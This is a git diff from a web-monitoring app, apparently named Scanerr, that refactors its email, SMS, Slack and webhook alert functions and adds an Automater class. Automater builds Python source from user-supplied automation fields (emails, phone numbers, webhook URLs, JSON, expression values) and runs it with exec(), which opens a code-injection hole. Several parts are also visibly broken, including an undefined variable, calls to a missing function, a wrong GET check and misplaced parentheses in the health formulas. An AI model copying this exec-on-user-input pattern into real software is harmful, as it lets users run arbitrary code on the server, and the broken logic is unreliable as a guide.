+        'exp_list': exp_list,
+        'exp_str': ('\t'+''.join(exp_list))
+    }
+
+    return data
 
 
 
 
+def create_json_data(json_data: dict=None, item: object=None) -> dict: 
+    """ 
+    Builds an expression list (exp_list = []) based 
+    on the passed 'item' and `Automation`.
 
-def create_json_data(data, obj): 
-    json_data = data
-    item = obj
+    Expects: {
+        'item'       :  object (Scan, Test, Testcase),
+        'automation' :  object
+    }
+
+    Returns -> dict
+    """
 
+    # looping through json_data to 
+    # update values with item.data
     for key in json_data:
+
+        # high-level test score
         if 'test_score' == json_data[key]:
             json_data[key] = item.score
+        elif 'current_health' == json_data[key]:
+            json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2)
+        elif 'avg_image_score' == json_data[key]:
+            json_data[key] = item.images_delta["average_score"]
+        elif 'image_scores' == json_data[key]:
+            json_data[key] = [i["score"] for i in item.images_delta["images"]]
+
+        # high-level scan score
+        elif 'health' == json_data[key]:
+            json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2)
+        elif 'logs' == json_data[key]:
+            json_data[key] = len(item.logs)
+
+        # LH test data
         elif 'seo_delta' == json_data[key]:
             json_data[key] = item.lighthouse_delta["scores"]["seo_delta"]
         elif 'pwa_delta' == json_data[key]:
@@ -157,16 +375,10 @@ def create_json_data(data, obj):
             json_data[key] = item.lighthouse_delta["scores"]["performance_delta"]
         elif 'accessibility_delta' == json_data[key]:
             json_data[key] = item.lighthouse_delta["scores"]["accessibility_delta"]
-        elif 'current_health' == json_data[key]:
-            json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2)
-        elif 'health' == json_data[key]:
-            json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2)
-        elif 'logs' == json_data[key]:
-            json_data[key] = len(item.logs)
         elif 'current_lighthouse_average' == json_data[key]:
             json_data[key] = item.lighthouse_delta["scores"]["current_average"]
-        elif 'current_average' == json_data[key]:
-            json_data[key] = item.lighthouse["scores"]["current_average"]
+        
+        # LH scan data
         elif 'seo' == json_data[key]:
             json_data[key] = item.lighthouse["scores"]["seo"]
         elif 'pwa' == json_data[key]:
@@ -180,6 +392,7 @@ def create_json_data(data, obj):
         elif 'accessibility' == json_data[key]:
             json_data[key] = item.lighthouse["scores"]["accessibility"]
 
+        # YL test data
         elif 'current_yellowlab_average' == json_data[key]:
             json_data[key] = item.yellowlab_delta["scores"]["current_average"]
         elif 'pageWeight_delta' == json_data[key]:
@@ -203,6 +416,7 @@ def create_json_data(data, obj):
         elif 'serverConfig_delta' == json_data[key]:
             json_data[key] = item.yellowlab_delta["scores"]["serverConfig_delta"]
         
+        # YL scan data
         elif 'yellowlab_average' == json_data[key]:
             json_data[key] = item.yellowlab["scores"]["globalScore"]
         elif 'pageWeight' == json_data[key]:
@@ -226,38 +440,60 @@ def create_json_data(data, obj):
         elif 'serverConfig' == json_data[key]:
             json_data[key] = item.yellowlab["scores"]["serverConfig"]
 
-        elif 'avg_image_score' == json_data[key]:
-            json_data[key] = item.images_delta["average_score"]
-        elif 'image_scores' == json_data[key]:
-            json_data[key] = [i["score"] for i in item.images_delta["images"]]
+    # return updated json
+    return json_data
 
 
-    return json_data
 
 
+def get_item(object_id: str=None) -> dict:
+    """ 
+    Tries to find an object that matches theh passed 'object_id'.
 
+    Expects: {
+        'object_id':  str,
+    }
 
+    Returns -> data: {
+        'item'      : object (Scan, Test, Testcase),
+        'item_type' : str,
+        'success'   : bool
+    }
+    """
 
+    # init item
+    item = None
+    item_type = ''
+    success = False
 
-def get_item(object_id):
-    try:
-        item = Test.objects.get(id=uuid.UUID(object_id))
-        item_type = 'Test'
-    except:
+    # check for item
+    if not item:
+        try:
+            item = Test.objects.get(id=uuid.UUID(object_id))
+            item_type = 'Test'
+            success = True
+        except:
+            pass
+    if not item:
         try:
             item = Scan.objects.get(id=uuid.UUID(object_id))
             item_type = 'Scan'
+            success = True
         except:
-            try:
-                item = Testcase.objects.get(id=uuid.UUID(object_id))
-                item_type = 'Testcase'
-            except:
-                return {'success': False}
-
+            pass
+    if not item:
+        try:
+            item = Testcase.objects.get(id=uuid.UUID(object_id))
+            item_type = 'Testcase'
+            success = True
+        except:
+            pass
+    
+    # format and return data
     data = {
-        'item_type': item_type, 
         'item': item,
-        'success': True
+        'item_type': item_type, 
+        'success': success
     }
 
     return data
@@ -265,10 +501,29 @@ def get_item(object_id):
 
 
 
+def automation_email(email: str=None, automation_id: str=None, object_id: str=None) -> dict:
+    """
+    Sends an automation email to the User with 
+    the passed 'email'
+
+    Expects: {
+        'email'         : str,
+        'automation_id' : str,
+        'object_id'     : str
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
 
-def automation_email(email=None, automation_id=None, object_id=None):
+    # check if data is present
     if email and automation_id:
+        
+        # retrieving user
         user = User.objects.get(email=email)
+
+        # get automation and deciding if "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
         if schedule.site is not None:
@@ -283,11 +538,17 @@ def automation_email(email=None, automation_id=None, object_id=None):
         if not data['success']:
             return {'success': False}
 
+        # getting object data
         item = data['item']
         item_type = data['item_type']
 
-        exp_list = create_exp_str(item=item, automation=automation, is_email=True)
+        # generating expressions from automation
+        exp_list = create_exp_str(
+            item=item, 
+            automation=automation
+        )['exp_list']
 
+        # build email data
         object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
         subject = f'Alert for {url}'
         title = f'Alert for {url}'
@@ -300,7 +561,6 @@ def automation_email(email=None, automation_id=None, object_id=None):
             f'This message was triggered by an automation you created. ' 
             f'You can change the automation and schedule in your site\'s dashboard. '
         )
-        subject = subject
 
         context = {
             'title' : title,
@@ -316,6 +576,7 @@ def automation_email(email=None, automation_id=None, object_id=None):
             'signature' : '- Cheers!',
         }
 
+        # send email
         sendgrid_email(message_obj=context)
 
         data = {
@@ -332,9 +593,29 @@ def automation_email(email=None, automation_id=None, object_id=None):
 
 
 
+def automation_report_email(email: str=None, automation_id: str=None, object_id: str=None) -> dict:
+    """
+    Sends an automation report email to the User with 
+    the passed 'email'
+
+    Expects: {
+        'email'         : str,
+        'automation_id' : str,
+        'object_id'     : str
+    }
 
-def automation_report_email(email=None, automation_id=None, object_id=None):
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # check if data is present
     if email and automation_id:
+        
+        # retrieving user
+        user = User.objects.get(email=email)
+
+        # get automation and deciding if "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
         if schedule.site is not None:
@@ -343,12 +624,15 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
         else:
             url_end = '/page/'+str(schedule.page.id)
             url = schedule.page.page_url
+        
+        # get `Report` if exists
         try:
             item = Report.objects.get(id=uuid.UUID(object_id))
             item_type = 'Report'
         except:
             return {'success': False}
 
+        # build email data
         exp_list = ''
         object_url = str(item.path)
         subject = f'Report for {url}'
@@ -362,9 +646,10 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
             f'This message was triggered by an automation created with Scanerr. ' 
             f'You can change the automation and schedule in your site\'s dashboard. '
         )
-        subject = subject
+
         context = {
             'title' : title,
+            'subject': subject,
             'pre_header' : pre_header,
             'pre_content' : pre_content,
             'exp_list': exp_list,
@@ -372,19 +657,12 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
             'home_page' : os.environ.get('CLIENT_URL_ROOT'),
             'button_text' : 'View Report',
             'content' : content,
+            'email': email,
             'signature' : '- Cheers!',
         }
 
-        html_message = render_to_string('api/automation_email.html', context)
-        plain_message = strip_tags(html_message)
-        send_mail(
-            from_email = os.getenv('EMAIL_HOST_USER'),
-            subject = subject,
-            message = plain_message,
-            recipient_list = [email],
-            html_message = html_message,
-            fail_silently = True,
-        )
+        # send email
+        sendgrid_email(message_obj=context)
 
         data = {
             'success': True
@@ -401,13 +679,33 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
 
 
 def automation_webhook(
-        request_type=None, 
-        request_url=None, 
-        request_data=None,
-        automation_id=None, 
-        object_id=None,
-    ):
+        request_type: str=None, 
+        request_url: str=None, 
+        request_data: dict=None,
+        automation_id: str=None, 
+        object_id: str=None,
+    ) -> dict:
+    """
+    Sends a GET or POST request to the passed 'request_url'
+    with the passed 'request_data'
+
+    Expects: {
+        'request_type'    : str, 
+        'request_url'     : str, 
+        'request_data'    : dict,
+        'automation_id'   : str, 
+        'object_id'       : str,
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # checking that data is present
     if request_type and automation_id and request_url and request_data and object_id:
+
+        # deciding if "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
         if schedule.site is not None:
@@ -422,22 +720,22 @@ def automation_webhook(
         if not data['success']:
             return {'success': False}
 
+        # get object and type
         item = data['item']
         item_type = data['item_type']
         
+        # building json
         pre_json_data = json.loads(request_data)
-        json_data = create_json_data(data=pre_json_data, obj=item)
+        json_data = create_json_data(pre_json_data, item)
 
+        # send the request
         try:
             if request_type == 'POST':
                 response = requests.post(request_url, data=json_data)
             elif request_data == 'GET':
                 response = requests.get(request_url, params=json_data)
-
-            print(response.json())
-
         except:
-            data = {'success': False}
+            return {'success': False}
 
         data = {
             'success': True
@@ -453,9 +751,26 @@ def automation_webhook(
 
 
 
+def automation_phone(phone_number: str=None, automation_id: str=None, object_id: str=None) -> dict:
+    """
+    Sends an SMS alert to the passed 'phone_number' 
+    with the `Automation` data 
+
+    Expects: {
+        'phone_number'    : str, 
+        'automation_id'   : str, 
+        'object_id'       : str,
+    }
 
-def automation_phone(phone_number=None, automation_id=None, object_id=None):
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # checking if data is present
     if phone_number and automation_id and object_id:
+
+        # deciding on "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
         if schedule.site is not None:
@@ -470,11 +785,14 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None):
         if not data['success']:
             return {'success': False}
 
+        # get obj and type
         item = data['item']
         item_type = data['item_type']
 
-        exp_str = create_exp_str(item=item, automation=automation)
+        # build the exp_str
+        exp_str = create_exp(item=item, automation=automation)['exp_str']
 
+        # build message data
         object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
         pre_content = (
             f'Scanerr just finished running a {item_type} for {url}. ' 
@@ -484,13 +802,12 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None):
             f'This message was triggered by an automation you created. ' 
             f'You can change the automation and schedule in your site\'s dashboard. '
         )
-
         body = f'Hi there,\n\n{pre_content}{content}\n{object_url}'
-
         account_sid = os.environ.get("TWILIO_SID")
         auth_token  = os.environ.get("TWILIO_AUTH_TOKEN")
         client = Client(account_sid, auth_token)
 
+        # send message
         message = client.messages.create(
             to=phone_number, 
             from_=os.environ.get('TWILIO_NUMBER'),
@@ -511,8 +828,24 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None):
 
 
 
-def automation_slack(automation_id=None, object_id=None):
+def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
+    """
+    Sends a Slack alert with the `Automation` data 
+
+    Expects: {
+        'automation_id'   : str, 
+        'object_id'       : str,
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # check if data is present
     if automation_id and object_id:
+        
+        # getting account and deciding on "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         account = Account.objects.get(user=automation.user)
         schedule = automation.schedule
@@ -523,17 +856,19 @@ def automation_slack(automation_id=None, object_id=None):
             url_end = '/page/'+str(schedule.page.id)
             url = schedule.page.page_url
 
-
         # getting object
         data = get_item(object_id=object_id)
         if not data['success']:
             return {'success': False}
 
+        # get obj and type
         item = data['item']
         item_type = data['item_type']
 
-        exp_str = create_exp_str(item=item, automation=automation)
+        # build exp_str
+        exp_str = create_exp(item=item, automation=automation)['exp_str']
 
+        # build message data
         object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
         pre_content = (
             f'Scanerr just finished running a {item_type} for {url}. ' 
@@ -543,13 +878,12 @@ def automation_slack(automation_id=None, object_id=None):
             f'This message was triggered by an automation you created. ' 
             f'You can change the automation and schedule in your site\'s dashboard. '
         )
-
         body = f'Hi there,\n\n{pre_content}{content}\n{object_url}'
-
         token = account.slack['bot_access_token']
         channel = account.slack['slack_channel_id']
-
         client = WebClient(token=token) 
+
+        # send message
         try:
             response = client.chat_postMessage(
                 channel=channel,
@@ -582,35 +916,31 @@ def automation_slack(automation_id=None, object_id=None):
 
 
 
-
-
-
-def sendgrid_email(message_obj):
+def sendgrid_email(message_obj: dict=None) -> dict:
     """
     Tries to send an email via the SendGrid API.
 
     Expects the following:
-        "message_obj": <obj> {
-            'pre_content':  <str>,
-            'content':      <str>,
-            'subject':      <str>,
-            'title':        <str>,
-            'pre_header':   <str>,
-            'button_text':  <str>,
-            'exp_list':     <array>,
-            'email':        <str>,
-            'template':     <str>,
-            'object_url':   <str>,
-            'signature':    <str>,
-            'greeting':     <str>,
+        'message_obj': dict {
+            'pre_content':  str,
+            'content':      str,
+            'subject':      str,
+            'title':        str,
+            'pre_header':   str,
+            'button_text':  str,
+            'exp_list':     list,
+            'email':        str,
+            'template':     str,
+            'object_url':   str,
+            'signature':    str,
+            'greeting':     str,
         }
 
     Returns --> data: {
-        'message': True
+        'success': bool
     }
     """
 
-
     # defining data
     pre_content = message_obj.get('pre_content')
     content = message_obj.get('content')
@@ -624,7 +954,6 @@ def sendgrid_email(message_obj):
     signature = message_obj.get('signature', '- Cheers!')
     greeting = message_obj.get('greeting', 'Hi there,')
 
-
     # build template data
     template_data = {
         'greeting': greeting,
@@ -647,7 +976,6 @@ def sendgrid_email(message_obj):
     if exp_list is not None:
         template = settings.AUTOMATION_TEMPLATE
 
-
     # init SendGrid message
     message = Mail(
         from_email=From('hello@scanerr.io', 'Scanerr'),  # prod -> settings.EMAIL_HOST_USER
@@ -663,13 +991,22 @@ def sendgrid_email(message_obj):
         sg = SendGridAPIClient(settings.SENDGRID_API_KEY)
         response = sg.send(message)
         status = True
+        error = None
     except Exception as e:
         status = False
+        error = e.message
         print(e.message)
 
-    
+    # formatting resposne
     data = {
-        'success': status
+        'success': status,
+        'error': error
     }
 
     return data
+
+
+
+
+
+
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index f28d2ee9..a9bce7e6 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -1,23 +1,38 @@
 from selenium import webdriver
-from selenium.webdriver import ActionChains
 from selenium.webdriver.common.by import By
-from selenium.webdriver.common.actions.action_builder import ActionBuilder
 from .driver_s import driver_init, driver_wait, quit_driver
 from ..models import Site, Case
 from scanerr import settings
-import time, os, json, sys, uuid, random, boto3
+import time, os, json, uuid, random, boto3
+
 
 
 
 
 
 class AutoCaser():
+    """ 
+    Generate new `Cases` for the passed 'site'.
+
+    Expects: {
+        'site'        : object,
+        'process'     : object,
+        'start_url'   : str,
+        'configs'     : dict,
+        'max_cases'   : int,
+        'max_layers'  : int
+    }
+
+    Use `AutoCaser.build_cases()` to generate new `Cases`
+
+    Returns -> None
+    """
 
 
     def __init__(
             self, 
-            site,
-            process,
+            site: object,
+            process: object,
             start_url: str=None,
             configs: dict=settings.CONFIGS,
             max_cases: int=4, 
@@ -174,7 +189,7 @@ def is_element_visible(self, element: object) -> bool:
 
 
 
-    def get_element_image(self, element: object):
+    def get_element_image(self, element: object) -> str:
         try:
             image = element.screenshot_as_base64
             # sleep for .5 seconds to let image process
@@ -256,6 +271,9 @@ def get_priority_elements(self, elements: list) -> dict:
 
 
     def get_current_elements(self) -> list:
+        # returns a list of interactable 
+        # elements on the current page and 
+        # removes and duplicates before returning
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
@@ -283,9 +301,10 @@ def get_current_elements(self) -> list:
         random.shuffle(forms)
         random.shuffle(inputs_textareas_buttons)
         random.shuffle(links)
-        
+
         current_elements = forms + inputs_textareas_buttons + links
 
+        # return result
         return current_elements
 
 
@@ -312,7 +331,6 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
             if elem['elements'] != None:
                 self.check_for_duplicates(selector=selector, elements=elem['elements'])
         
-
         # return result
         return found_duplicate
 
@@ -361,11 +379,11 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
 
     def record_new_element(self, elem: object, sub_elements: list) -> dict:
         """
-            returns -> {
-                'sub_elements': [],
-                'run': bool,
-                'added': bool,
-            }
+        returns -> {
+            'sub_elements': [],
+            'run': bool,
+            'added': bool,
+        }
         """
         # setting defaults
         run = True
@@ -658,7 +676,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
 
 
-    def get_elements(self):
+    def get_elements(self) -> list:
 
         # get site page
         if self.start_url is not None:
@@ -917,7 +935,7 @@ def get_elements(self):
 
 
 
-    def build_cases(self):
+    def build_cases(self) -> None:
 
         # run get_elements
         elements = self.get_elements()
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
new file mode 100644
index 00000000..b53a7dd2
--- /dev/null
+++ b/app/api/utils/automater.py
@@ -0,0 +1,312 @@
+from ..models import *
+from .alerts import *
+import re, uuid
+
+
+
+
+
+
+class Automater():
+    """ 
+    Build and execute `Automation` logic generated by a user.
+
+    Expects: {
+        'automation_id' : str,
+        'object_id'     : str
+    }
+
+    Use `Automater.run_automation()` to run an `Automation`
+
+    Returns -> None
+    """
+
+
+    def __init__(self, automation_id: str=None, object_id: str=None):
+    
+        self.automation = Automation.objects.get(id=automation_id)
+        self.object_id = object_id
+        self.exp_list = []
+        self.act_list = []
+        self.object = None
+        self.use_exp = True
+
+
+
+
+    def get_object(self) -> bool:
+        """
+        Tries to get the focus object from self.object - if found 
+        will set self.object and self.use_exp
+
+        Returns -> bool
+        """
+
+        if self.automation.schedule.task_type == 'scan':
+            try:
+                self.object = Scan.objects.get(id=self.object_id)
+            except:
+                return False
+
+        elif self.automation.schedule.task_type == 'test':
+            try:
+                self.object = Test.objects.get(id=self.object_id)
+            except:
+                return False
+        
+        elif self.automation.schedule.task_type == 'report':
+            try:
+                self.object = Report.objects.get(id=self.object_id)
+                self.use_exp = False
+            except:
+                return False
+
+        elif self.automation.schedule.task_type == 'testcase':
+            try:
+                self.object = Testcase.objects.get(id=self.object_id)
+                self.use_exp = True
+            except:
+                return False
+
+        else:
+            return False      
+    
+
+
+
+    def build_exp_list(self) -> None:
+        """ 
+        Loop through the automation.expressions
+        and rebuilds into self.exp_list
+
+        Returns -> None
+        """
+                
+        # begin iteration
+        for expression in self.automation.expressions:
+
+            # set defaults
+            exp = None
+            data_type = None
+            operator = ' == '
+            joiner = ''
+            data_type = 'self.object.passed'
+            value = str(expression['value'])
+
+            # getting data
+            if self.object == None:
+                
+                # get comparison value
+                value = str(float(re.search(r'\d+', str(expression['value'])).group()))
+
+                # get operator
+                if '>=' in expression['operator']:
+                    operator = ' >= '
+                else:
+                    operator = ' <= '
+                
+                # get joiner
+                if 'and' in expression['joiner']:
+                    joiner = ' and '
+                elif 'or' in expression['joiner']:
+                    joiner = ' or '
+                else:
+                    joiner = ''
+
+
+            # high-level test data 
+            if 'test_score' in expression['data_type']:
+                data_type = 'float(self.object.score)'
+            elif 'current_health' in expression['data_type']:
+                data_type = '((float(self.object.lighthouse_delta["scores"]["current_average"]) + float(self.object.yellowlab_delta["scores"]["current_average"]))/2)'
+            elif 'avg_image_score' in expression['data_type']:
+                data_type = 'float(self.object.images_delta["average_score"])'
+            elif 'image_scores' in expression['data_type']:
+                data_type = '[i["score"] for i in self.object.images_delta["images"]]' 
+                exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
+
+            # high-level scan data
+            elif 'health' in expression['data_type']:
+                data_type = '((float(self.object.lighthouse["scores"]["average"]) + float(self.object.yellowlab["scores"]["globalScore"]))/2)'
+            elif 'logs' in expression['data_type']:
+                data_type = 'len(self.object.logs)'
+            
+            # LH test data
+            elif 'current_lighthouse_average' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["current_average"])'
+            elif 'seo_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["seo_delta"])'
+            elif 'pwa_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["pwa_delta"])'
+            elif 'crux_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["crux_delta"])'
+            elif 'best_practices_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["best_practices_delta"])'
+            elif 'performance_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["performance_delta"])'
+            elif 'accessibility_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["accessibility_delta"])'
+            
+            # LH scan data
+            elif 'lighthouse_average' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["average"])'
+            elif 'seo' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["seo"])'
+            elif 'pwa' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["pwa"])'
+            elif 'crux' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["crux"])'
+            elif 'best_practices' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["best_practices"])'
+            elif 'performance' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["performance"])'
+            elif 'accessibility' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["accessibility"])'
+
+            # YL test data
+            elif 'current_yellowlab_average' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["current_average"])'
+            elif 'pageWeight_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["pageWeight_delta"])'
+            elif 'images_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["images_delta"])'
+            elif 'domComplexity_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["domComplexity_delta"])'
+            elif 'javascriptComplexity_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["javascriptComplexity_delta"])'
+            elif 'badJavascript_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["badJavascript_delta"])'
+            elif 'jQuery_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["jQuery_delta"])'
+            elif 'cssComplexity_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["cssComplexity_delta"])'
+            elif 'badCSS_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["badCSS_delta"])'
+            elif 'fonts_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["fonts_delta"])'
+            elif 'serverConfig_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["serverConfig_delta"])'
+            
+            # LH scan data
+            elif 'yellowlab_average' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["globalScore"])'
+            elif 'pageWeight' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["pageWeight"])'
+            elif 'images' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["images"])'
+            elif 'domComplexity' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["domComplexity"])'
+            elif 'javascriptComplexity' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["javascriptComplexity"])'
+            elif 'badJavascript' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["badJavascript"])'
+            elif 'jQuery' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["jQuery"])'
+            elif 'cssComplexity' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["cssComplexity"])'
+            elif 'badCSS' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["badCSS"])'
+            elif 'fonts' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["fonts"])'
+            elif 'serverConfig' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["serverConfig"])'
+            
+            # building exp if not defiined
+            if exp is None:
+                exp = f'{joiner}{data_type}{operator}{value}'
+
+            # adding exp to exp_list
+            self.exp_list.append(exp)
+
+        return None
+
+
+
+
+    def build_act_list(self) -> None:
+        """ 
+        Loop through the automation.actions
+        and rebuilds into self.act_list
+
+        Returns -> None
+        """
+
+        # begin iteration
+        for action in self.automation.actions:
+
+            if 'slack' in action['action_type']:
+                action_type = f"\n  print('sending slack alert')\
+                    \n  automation_slack(automation_id='{str(self.automation.id)}', \
+                    object_id='{str(self.object_id)}')"
+            
+            if 'webhook' in action['action_type']:
+                action_type = f"\n  print('sending webhook alert')\
+                    \n  automation_webhook(request_type='{action['request']}', \
+                    request_url='{action['url']}', request_data='{action['json']}', \
+                    automation_id='{str(self.automation.id)}', \
+                    object_id='{str(self.object_id)}')"
+            
+            if 'email' in action['action_type']:
+                action_type = f"\n  print('sending email alert')\
+                    \n  automation_email(email='{action['email']}',\
+                    automation_id='{str(self.automation.id)}', \
+                    object_id='{str(self.object_id)}')"
+                
+                if type(self.object).__name__ == 'Report':
+                    action_type = f"\n  print('sending report email')\
+                        \n  automation_report_email(email='{action['email']}',\
+                        automation_id='{str(self.automation.id)}', \
+                        object_id='{str(self.object_id)}')"
+            
+            if 'phone' in action['action_type']:
+                action_type = f"\n  print('sending phone alert')\
+                    \n  automation_phone(phone_number='{action['phone']}', \
+                    automation_id='{str(self.automation.id)}', \
+                    object_id='{str(self.object_id)}')"
+
+            # adding action to act_list
+            self.act_list.append(act)
+
+
+
+
+    def run_automation(self) -> None:
+
+        # get object data
+        proceed = self.get_object()
+
+        # setting default
+        exp_string = '1 == 1'
+
+        # if obj was retrieved
+        if proceed:
+
+            # build expression if self.use_exp
+            if self.use_exp:
+                self.build_exp_list()
+                exp_string = ' '.join(self.exp_list)
+
+            # build action list
+            self.build_act_list()
+            act_string = ''.join(self.act_list)            
+
+            # building final exec str
+            automation_logic = f'if {exp_string}:{act_string}'
+            print(automation_logic)
+
+            # executing automation logic
+            exec(automation_logic)
+
+        return None
+
+
+        
+
+
+
+
+        
+
+
+        
+        
\ No newline at end of file
diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py
deleted file mode 100644
index 53a235e7..00000000
--- a/app/api/utils/automations.py
+++ /dev/null
@@ -1,242 +0,0 @@
-from ..models import *
-from .alerts import *
-import re, uuid
-
-
-
-def automation(automation_id, object_id):
-    automation = Automation.objects.get(id=automation_id)
-    schedule = automation.schedule
-    expressions = automation.expressions
-    exp_list = []
-    actions = automation.actions
-    act_list = []
-    scan = None
-    test = None
-    report = None
-    testcase = None
-    use_exp = True
-
-    if schedule.task_type == 'scan':
-        try:
-            scan = Scan.objects.get(id=object_id)
-        except:
-            return False
-
-    elif schedule.task_type == 'test':
-        try:
-            test = Test.objects.get(id=object_id)
-        except:
-            return False
-    
-    elif schedule.task_type == 'report':
-        try:
-            report = Report.objects.get(id=object_id)
-            use_exp = False
-        except:
-            return False
-    elif schedule.task_type == 'testcase':
-        try:
-            testcase = Testcase.objects.get(id=object_id)
-            use_exp = True
-        except:
-            return False
-    else:
-        return False      
-    
-
-                
-
-    if use_exp:
-
-        for expression in expressions:
-
-            exp = None
-            data_type = None
-
-            if testcase == None:
-                value = str(float(re.search(r'\d+', str(expression['value'])).group()))
-
-                if '>=' in expression['operator']:
-                    operator = ' >= '
-                else:
-                    operator = ' <= '
-                
-                if 'and' in expression['joiner']:
-                    joiner = ' and '
-                elif 'or' in expression['joiner']:
-                    joiner = ' or '
-                else:
-                    joiner = ''
-            
-            if testcase != None:
-                operator = ' == '
-                joiner = ''
-                data_type = 'testcase.passed'
-                value = str(expression['value'])
-
-
-            if 'test_score' in expression['data_type']:
-                data_type = 'float(test.score)'
-            
-            # lighthouse test data
-            elif 'current_lighthouse_average' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["current_average"])'
-            elif 'seo_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["seo_delta"])'
-            elif 'pwa_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["pwa_delta"])'
-            elif 'crux_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["crux_delta"])'
-            elif 'best_practices_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["best_practices_delta"])'
-            elif 'performance_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["performance_delta"])'
-            elif 'accessibility_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["accessibility_delta"])'
-            # lighthouse scan data
-            elif 'lighthouse_average' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["average"])'
-            elif 'seo' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["seo"])'
-            elif 'pwa' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["pwa"])'
-            elif 'crux' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["crux"])'
-            elif 'best_practices' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["best_practices"])'
-            elif 'performance' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["performance"])'
-            elif 'accessibility' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["accessibility"])'
-
-            # yellowlab test data
